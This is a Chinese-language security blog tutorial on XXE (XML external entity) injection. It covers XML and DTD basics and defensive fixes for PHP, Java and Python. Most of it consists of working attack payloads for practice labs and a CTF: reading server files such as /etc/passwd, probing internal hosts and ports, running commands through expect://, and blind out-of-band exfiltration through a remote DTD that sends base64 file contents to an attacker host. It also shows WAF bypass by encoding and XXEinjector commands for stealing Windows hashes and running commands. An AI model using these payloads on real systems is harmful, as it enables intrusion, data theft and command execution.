【XXE&XML】利用检测绕过

在这里插入图片描述

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

XXE漏洞全称XML External Entity Injection,即XML外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

XML与HTML对比

XML被设计为传输和存储数据,其焦点是数据的内容
HTML被设计用来显示数据,其焦点是数据的外观
HTML旨在显示信息,而XML旨在传输信息
Xml典型代码:

<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块
它使用一系列合法的元素来定义文档的结构
DTD可被成行地声明于XML文档中,也可作为一个外部引用

(1)内部的DOCTYPE声明

(2)外部文档声明

DTD实体

(1)内部实体声明

<!ENTITY 实体名称 "实体的值">

(2)外部实体声明

<!ENTITY 实体名称 SYSTEM "URI">

(3)参数实体声明

<!ENTITY %实体名称 "实体的值"> <!ENTITY %实体名称 SYSTEM "URI">

XXE漏洞的修复与防御方案-PHP,Java,Python-过滤及禁用

方案1-禁用外部实体
PHP:

libxml_disable_entity_loader(true);

Java:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

补充-各脚本支持的协议

在这里插入图片描述

玩法1-读文件

如下脚本,将其复制粘贴,提交,成功读取pikachu服务器某文件内容

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
//xxe为变量,读取test.txt
//打印出来
//用file协议读指定路径的文件

玩法2-内网探针或攻击内网应用(触发漏洞地址)

如下脚本,将其复制粘贴,提交,返回为空。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>

返回为空,说明内网中192.168.0.103服务器上,index.txt文件是存在的,也可以说8081端口是开放的,因此这里这个xxe漏洞,可以实现内网探针。
若报错 则表明该文件不存在

内网端口探针

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081" >
]>
<x>&rabbit;</x>

玩法3-RCE

读CASE是在安装expect扩展的PHP环境里执行系统命令

<?xml version="1.0" ?>
<!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

由于本地环境未安装expect扩展,因此该玩法未测试。

玩法4-引入外部实体dtd
引入外部实体dtd,dtd就是xml的后缀,识别为xml格式
如果设置了禁止外部实体引用,将会失效
可以在远程攻击者服务器(127.0.0.1)上保存的evil2.dtd写上:

引入外部实体dtd,核心代码在dtd文件中,一方面是为了绕过一些服务器的限制,另一方面是为了自定义一些攻击代码,类似于远程文件包含漏洞

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
    %file;
]>
<x>&send;</x>
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">

玩法5-无回显-读取文件
注释回显代码
在这里插入图片描述

如下代码

//提交代码
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>
//本地192.168.0.103主机test.dtd文件代码:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/x.php?data=%file;'>"
>
%payload;

第一步 读数据 执行dtd
第二步 dtd请求访问http://192.168.0.103:8081/?data=%file
第三步 x.php接受代码 或者打开日志读取

此时把脚本复制粘贴,提交,服务器不再返回任何信息。
本地开启日志,查找日志就可以看到test.txt数据了。

玩法6-协议-读文件(绕过)

1、ENTITY SYSTEM file等关键词被过滤–>使用编码方式绕过:UTF-16BE

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

2、http被过滤–>可以使用其他协议绕过,比如data://协议、file://协议加文件上传、php://filter协议加文件上传

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

3、绕过WAF保护的XXE–>

方法1:文档中的额外空格
方法2:格式无效
方法3:外来编码(Exotic encodings)
方法4:在一个文档中使用两种类型的编码
参考:

ctfxxe:https://www.cnblogs.com/20175211lyz/p/11413335.html

xxe-lab靶场登录框xml数据传输测试-检测发现

如何检测发现xxe漏洞?

1.提交的数据包含xml格式如: admin
2.请求头中如:Content-Type: text/xml或Content-Type: application/xml
3.盲猜:更改content-type值application/xml看返回
靶场下载地址:https://github.com/c0ny1/xxe-lab
以xxe-lab靶场登录框为例,使用burp抓包时,可以右击send to Spider自动爬行网站,所有的网站数据包会在Proxy-History模块显示。

在这里插入图片描述
搜索xml关键字
在这里插入图片描述
也可以查看MIME type类型是否为XML,MIME type类型为XML对应Content-Type: text/xmlContent-Type: application/xml,对应内容形式如下:22
在这里插入图片描述
找到xxe漏洞点后,攻击测试

<?xml version = "1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM "file:///d:/test.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>

在这里插入图片描述

CTF-Jarvis-OJ-Web-XXE安全真题复现-数据请求格式
更改数据包
抓包如下,数据包使用的是json格式,此处使用盲猜的方法检测是否存在xxe漏洞。
在这里插入图片描述
更改请求数据格式为:application/xml,读取服务器文件passwd内容。

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

在这里插入图片描述

xxe安全漏洞自动化注射脚本工具-XXEinjector(Ruby)

XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。

运行前提:Ruby运行环境,建议在kali环境下运行。

基本参数详解

--host          必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file          必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path          必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute         必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        记录输出结果。
--rhost         远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport         远程主机的TCP端口信息。(--rport=8080)
--phpfilter     在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc        使用netdoc协议。(Java).
--enumports     枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes        窃取运行当前应用程序用户的Windows哈希。
--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload        使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt          XSLT注入测试。
--ssl           使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport Set  自定义HTTP端口。(--httpport=80)
--ftpport       设置自定义FTP端口。(--ftpport=21)
--gopherport    设置自定义gopher端口。(--gopherport=70)
--jarport       设置自定义文件上传端口。(--jarport=1337)
--xsltport      设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test          该模式可用于测试请求的有效。
--urlencode     URL编码,默认为URI。
--output        爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout       设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout    设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast          跳过枚举询问,有可能出现结果假阳性。
--verbose     显示verbose信息。

XXEinjector使用样例

枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
 
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
 
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
 
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
 
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
 
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
 
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
 
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
 
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
 
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
 
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

XXEinjector下载地址:https://github.com/enjoiz/XXEinjector

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值